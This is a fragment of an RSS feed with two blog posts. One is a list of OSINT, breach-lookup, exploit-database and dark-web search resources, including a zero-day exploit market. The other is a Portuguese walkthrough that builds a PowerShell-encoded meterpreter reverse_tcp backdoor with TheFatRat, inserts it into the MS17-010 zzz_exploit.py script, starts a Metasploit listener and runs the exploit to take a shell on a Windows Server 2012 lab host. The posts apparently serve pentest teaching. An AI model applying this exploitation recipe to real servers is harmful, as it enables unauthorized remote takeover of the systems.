            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6j4uWGo8G4rOldRss6lHIA.png" /></figure><p>::Mass scanners (search engines)</p><p>• Censys - platform that helps information security practitioners discover, monitor, and analyze devices.</p><p>• Shodan - the world’s first search engine for Internet-connected devices.</p><p>• Shodan 2000 - do you use Shodan for everyday work? This tool looks for randomly generated data from Shodan.</p><p>• GreyNoise - mass scanner such as Shodan and Censys.</p><p>• ZoomEye - search engine for cyberspace that lets the user find specific network components.</p><p>• FOFA - is a cyberspace search engine.</p><p>• onyphe - is a search engine for open-source and cyber threat intelligence data collected.</p><p>• IntelligenceX - is a search engine and data archive.</p><p>• binaryedge - it scan the entire internet space and create real-time threat intelligence streams and reports.</p><p>• wigle - is a submission-based catalog of wireless networks. All the networks. Found by Everyone.</p><p>• PublicWWW - find any alphanumeric snippet, signature or keyword in the web pages HTML, JS and CSS code.</p><p>• IntelTechniques - this repository contains hundreds of online search utilities.</p><p>• Hackle - search engine for hackers and security professionals.</p><p>• hunter - lets you find email addresses in seconds and connect with the people that matter for your business.</p><p>• GhostProject? - search by full email address or username.</p><p>• databreaches - was my email affected by data breach?</p><p>• Buckets by Grayhatwarfar - database with public search for Open Amazon S3 Buckets and their contents.</p><p>• Vigilante.pw - the breached database directory.</p><p>• builtwith - find out what websites are built with.</p><p>• Mamont’s open FTP Index - if a target has an open FTP site with accessible content it will be listed here.</p><p>• OSINT Framework - focused on gathering information from free tools or resources.</p><p>• maltiverse - is a service oriented to cybersecurity analysts for the advanced analysis of indicators of compromise.</p><p>• Leaked Source - is a collaboration of data found online in the form of a lookup.</p><p>• We Leak Info - to help everyday individuals secure their online life, avoiding getting hacked.</p><p>• pipl - is the place to find the person behind the email address, social username or phone number.</p><p>• abuse.ch - is operated by a random swiss guy fighting malware for non-profit.</p><p>• malcOde - malware search engine.</p><p>• Cybercrime Tracker - monitors and tracks various malware families that are used to perpetrate cyber crimes.</p><p>• NerdyData - search source code across 65 million websites.</p><p>• searchcode - helping you find real world examples of functions, API’s and libraries.</p><p>• Insecam - the world biggest directory of online surveillance security cameras.</p><p>• index-of- contains great stuff like: security, hacking, reverse engineering, cryptography, programming etc.</p><p>::Passwords</p><p>•	Gotcha? - list of 1.4 billion accounts circulates around the Internet.</p><p>•	have i been pwned? - check if you have an account that has been compromised in a data breach.</p><p>::Exploits databases</p><p>•	CVE Mitre - list of publicly known cybersecurity vulnerabilities.</p><p>• CVE Details - CVE security vulnerability advanced database.</p><p>• Exploit DB - CVE compliant archive of public exploits and corresponding vulnerable software.</p><p>• Oday.today - exploits market provides you the possibility to buy zero-day exploits and also to sell Oday exploits.</p><p>• sploitus - the exploit and tools database.</p><p>• cxsecurity - free vulnerability database.</p><p>• Vulncode-DB - is a database for vulnerabilities and their corresponding source code if available.</p><p>• cveapi - free API for CVE data.</p><p>::DarkWeb</p><p>•	Darksearch - It seems to be a reliable dark web search engine with the ability to use advanced search operators. You can view this search engine on any web browser but you will only be able to follow the links found in its index by using Tor or similar.</p><p>•	TorBot - If you’re looking for an advanced tool for dark web research, <a href="https://github.com/DedSecInside/TorBot">TorBot</a> probably is and will continue to be overkill. As of this writing, the last update to TorBot was in February. It uses Python 3.x and requires a Tor dependency. TorBot has a list of features that makes it useful for multiple applications. Features include:</p><p>— Onion Crawler (.onion).(Completed)</p><p>— Returns Page title and address with a short description about the site.(Partially Completed)</p><p>— Save links to database.(PR to be reviewed)</p><p>— Get emails from site.(Completed)</p><p>— Save crawl info to JSON file.(Completed)</p><p>— Crawl custom domains.(Completed)</p><p>— Check if the link is live.(Completed)</p><p>— Built-in Updater.(Completed)</p><p>— Visualizer module.(Not started)</p><p>— Social Media integration.(not Started) …(will be updated)</p><p>What I appreciate about TorBot is how ambitious the project is. There is a laundry list of promised features that are currently being worked on that are very exciting including:</p><p>— Visualization Module</p><p>— Implement BFS Search for webcrawler</p><p>— Multithreading for Get Links</p><p>— Improve stability (Handle errors gracefully, expand test coverage and etc.)</p><p>— Create a user-friendly GUI</p><p>— Randomize Tor Connection (Random Header and Identity)</p><p>— Keyword/Phrase search</p><p>— Social Media Integration</p><p>— Increase anonymity and efficiency</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=cf5a86cede67" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TheFatRat — Explorando a MS17–010 no Windows Server 2012]]></title>
            <link>https://renatoborbolla.medium.com/thefatrat-explorando-a-ms17-010-no-windows-server-2012-93cd15cb0f5b?source=rss-b893fb110670------2</link>
            <guid isPermaLink="false">https://medium.com/p/93cd15cb0f5b</guid>
            <dc:creator><![CDATA[Renato Basante Borbolla]]></dc:creator>
            <pubDate>Thu, 06 Jun 2019 00:32:42 GMT</pubDate>
            <atom:updated>2019-06-06T00:32:42.954Z</atom:updated>
            <content:encoded><![CDATA[<h3>TheFatRat — Explorando a MS17–010 no Windows Server 2012</h3><p>TheFatRat é uma ferramenta de geração de backdoors para Windows, Linux, Android e Mac, além de ser fácil de utilizar ela conta com outras opções que podem lhe auxiliar durante o PenTest.</p><p>Neste artigo vou mostrar como podemos utilizár-la para explorar a vulnerabilidade MS17–010 utilizando um usuário comum no Windows Server 2012.</p><p><strong>Cenário:</strong></p><p>Kali Linux: <strong>192.168.0.53</strong></p><p>Windows Server 2012: <strong>192.168.0.200</strong></p><p><strong>01 Passo</strong></p><p>Realize o download e acesse o diretório <strong>TheFatRat</strong> e seguida altere as permissões dos arquivos <strong>fatrat</strong> e <strong>setup.sh</strong> para prosseguir com a instalação.</p><p><strong>Observações:</strong></p><ul><li>Não é possível realizar a instalação do TheFatRat via SSH, durante a instalação é necessário estar utilizando a interface local ou via VNC (por exemplo) devido ao GUI.</li></ul><p>root@100security:/# git clone <a href="https://github.com/ScreetSec/TheFatRat">https://github.com/ScreetSec/TheFatRat</a></p><p>root@100security:/# cd TheFatRat</p><p>root@100security:/TheFatRat# ls -l</p><p>root@100security:/TheFatRat# chmod +x fatrat setup.sh</p><p>root@100security:/TheFatRat# ls -l fatrat setup.sh</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*TaY-K5C6BtD002sj.png" /></figure><p><strong>02 Passo</strong></p><p>Execute o script <strong>setup.sh</strong> e aguarde o processo de instalação.</p><p>root@100security:/TheFatRat# /setup.sh</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*DCbwUNUUfWTQwL6V.png" /></figure><p><strong>03 Passo</strong></p><p>Caso queira criar um atalho do <strong>TheFatRat</strong> no Desktop digite <strong>y</strong> (Yes) ou <strong>n</strong> (No)</p><p>No meu caso respondi: n (No)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*8ARd0WApTxaZwsbJ.png" /></figure><p>A instalação é finalizada com sucesso!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*sAWrBYn2ZBBuqudj.png" /></figure><p><strong>04 Passo</strong></p><p>Execute a ferramenta <strong>fatrat</strong>.</p><p>root@100security:/TheFatRat# /fatrat</p><p>Pressione a tecla [ Enter ] para continuar…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/628/0*Rrnan6FggXQHxHzS.png" /></figure><p><strong>05 Passo</strong></p><p>O servido do <strong>Postgresql</strong> será iniciado, pressione a tecla [ Enter ] para continuar…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/673/0*R24f87z4lyb6mefF.png" /></figure><p><strong>06 Passo</strong></p><p>Digite o número <strong>6</strong> correspondente a criação do <strong>backdoor</strong> para Windows.</p><p>[ 06 ] Create Fud Backdoor 1000% with PwnWinds [Excelent]</p><p>Pressione a tecla [ Enter ] para continuar…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*jwSpXHuwgL8U-5Mg.png" /></figure><p><strong>07 Passo</strong></p><p>Digite o número <strong>1</strong> correspondente a criação de um arquivo <strong>.bat</strong> com o <strong>backdoor</strong> encodado via <strong>PowerShell</strong>.</p><p>[ 1 ] Create a bat filePowerShell (FUD 100%)</p><p>Pressione a tecla [ Enter ] para continuar…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*mYPfpl0HmsoK_us-.png" /></figure><p><strong>08 Passo</strong></p><p>Preencha os campos:</p><p>IP do <strong>Kali Linux</strong><br>Set LHOST IP: 192.168.0.53</p><p>Porta default do Metaspoit do <strong>Kali Linux</strong><br>Set LPORT: 4444</p><p>Nome do arquivo<strong> .bat</strong> que será criado contendo o <strong>backdoor encodado</strong>.<br>Please enter the base name for output files: win2012</p><p>Selecione a opção de Payload:<br><strong>[ 3 ] windows/meterpreter/reverse_tcp</strong></p><p>Choose Payload: 3</p><p>Pressione a tecla [ Enter ] para continuar…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*Rr5mimvLmTWYaaaV.png" /></figure><p><strong>09 Passo</strong></p><p><strong>Backdoor</strong> gerado com sucesso e salvo em:</p><p>/TheFatRat/output/win2012.bat</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*ramIc6c2Qy9ZyIk5.png" /></figure><p><strong>10 Passo</strong></p><p>Localizando o arquivo <strong>win2012.bat</strong></p><p>root@100security:/TheFatRat# cd output/</p><p>root@100security:/TheFatRat/output# ls -l</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*gHQpW7DfHoTNKbcc.png" /></figure><p><strong>11 Passo</strong></p><p>Copie o conteúdo do arquivo <strong>win2012.bat</strong></p><p>root@100security:/TheFatRat/output# leafpad win2012.bat</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*9Py-a2RP9dGbDftU.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*RRXllhAuMunghgTr.png" /></figure><p><strong>12 Passo</strong></p><p>Realize o download e acesse o diretório <strong>MS17–010</strong></p><p>root@100security:/# git clone <a href="https://github.com/worawit/MS17-010">https://github.com/worawit/MS17-010</a></p><p>root@100security:/# cd MS17–010</p><p>root@100security:/MS17–010# ls -l</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*ZoIo7txw3B8pN4HA.png" /></figure><p><strong>13 Passo</strong></p><p>Edite o arquivo <strong>zzz_exploit.py</strong></p><p>root@100security:/# git clone <a href="https://github.com/worawit/MS17-010">https://github.com/worawit/MS17-010</a></p><p>root@100security:/# cd MS17–010</p><p>root@100security:/MS17–010# ls -l</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*6wMU98fxISPvpefY.png" /></figure><p>Insira um Usuário e Senha (Usuário Comum)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*0BQ8Zr0fJMduZ77Y.png" /></figure><p><strong>14 Passo</strong></p><p>Procure a linha <strong>#service_exec(conn, r’cmd… )</strong></p><ol><li>Faça uma cópia da linha e remova o hashtag #</li><li>Insira 2 aspas simples após o r e 2 antes do )</li><li>Substitua o conteúdo copy c:\pwned.txt c:\pwned_exec.txt</li><li>service_exec(conn, r’ ‘ ‘ cmd /c &lt;conteudo-do-win2012.bat&gt;‘ ‘ ‘)</li><li>Cópia realizada no <strong>11 Passo</strong></li></ol><p><strong>Salve</strong> o arquivo zzz_exploit.py</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*stns1maJf0p3ZgjT.png" /></figure><p><strong>15 Passo</strong></p><p>No <strong>Windows Server 2012</strong> utilize uma pasta de sua preferência ou crie uma pasta chamada <strong>Arquivos</strong> e compartilhe.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*HkFL-p6jQFZDPuwm.jpg" /></figure><p><strong>16 Passo</strong></p><p>Clique na aba Sharing &gt; clique em Share</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*w5r3vPPh-tGfhHOp.jpg" /></figure><p><strong>17 Passo</strong></p><p>Verifique quais os usuários tem acesso ao <strong>Share</strong>, no meu caso eu inseri o usuário Marcos com acesso de Read/Write.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*8v1jDsSK7Gabf2vZ.jpg" /></figure><p><strong>18 Passo</strong></p><p>Compartilhamento realizado com sucesso!</p><p>\\DC-2012\Arquivos</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*BfsYpbE1Er011gsj.jpg" /></figure><p><strong>19 Passo</strong></p><p>Certifique-se que o mapeamento esteja funcionado corretamente utilizando o comando <strong>smbclient</strong>.</p><p>root@100security:/# smbclient -U ‘Marcos‘ //192.168.0.200/Arquivos</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*Bx20TjQpddxx5W3T.png" /></figure><p><strong>20 Passo</strong></p><p>Inicie o <strong>Metasploit</strong> e execute o comando <strong>exploit</strong>.</p><p>root@100security:/# msfconsole</p><p>msf5&gt; use multi/handler</p><p>msf5 exploit(multi/handler) &gt; set payload windows/meterpreter/reverse_tcp</p><p>msf5 exploit(multi/handler) &gt; set lhost 192.168.0.53</p><p>msf5 exploit(multi/handler) &gt; exploit</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*gFYD38RDCMhZde8-.png" /></figure><p><strong>21 Passo</strong></p><p>Retorne ao diretório <strong>MS17–010</strong> e execute o exploit <strong>zzz_exploit.py </strong>para o <strong>IP</strong> do <strong>Windows Server 2012</strong></p><p>root@100security:/MS17–010# python zzz_exploit.py 192.168.0.200</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*Z12vzoSlWIQVc269.png" /></figure><p><strong>22 Passo</strong></p><p>Retorne novamente ao <strong>Metasploit</strong> e observe que a conexão reversa foi realizada com sucesso.</p><p>meterpreter &gt;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*FUmTMIgmIS5AEKiR.png" /></figure><p><strong>23 Passo</strong></p><p>Execute o comando <strong>sysinfo</strong> e o comando <strong>shell</strong> para assumir o controle do servidor <strong>Windows Server 2012</strong>.</p><p>meterpreter &gt; sysinfo</p><p>meterpreter &gt; shell</p><p>C:\Windows\system32&gt;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*a1Ez8yrQ5QgqYigu.png" /></figure><p><strong>Observações:</strong></p><ul><li>Mantenha o sistema operacional dos servidores que você administra sempre atualizado para evitar que explorações como esta sejam realizadas.</li></ul><p>Para saber mais, acesse: www.100secuity.com.br</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=93cd15cb0f5b" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>